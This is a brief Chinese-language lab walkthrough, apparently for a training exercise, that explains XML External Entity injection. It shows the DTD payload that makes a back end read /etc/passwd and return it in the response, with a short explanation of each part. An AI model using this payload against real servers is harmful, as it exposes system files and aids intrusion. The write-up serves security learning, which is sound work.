# XXE Lab1 這題是 XXE(XML External Entity Injection)檔案讀取漏洞,目標是透過 XXE 注入讓後端去讀伺服器本地檔案 /etc/passwd,然後將檔案內容反映回 response。 一樣進入網站並攔截請求。 ![image](https://hackmd.io/_uploads/S1TEv47Hlx.png) ![image](https://hackmd.io/_uploads/Hy7dDE7Blx.png) 接著修改請求 → 插入 External Entity。 ``` <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> ``` - `<!DOCTYPE>` 定義一個 DTD,可以插入 entity。 - `<!ENTITY xxe SYSTEM "file:///etc/passwd">` 定義一個外部實體,從檔案系統載入資料。 - `&xxe;` 實體呼叫,會被替換成 /etc/passwd 的內容。 ![image](https://hackmd.io/_uploads/BkpKYEXBxe.png) ![image](https://hackmd.io/_uploads/rkQqYEQBgg.png) ---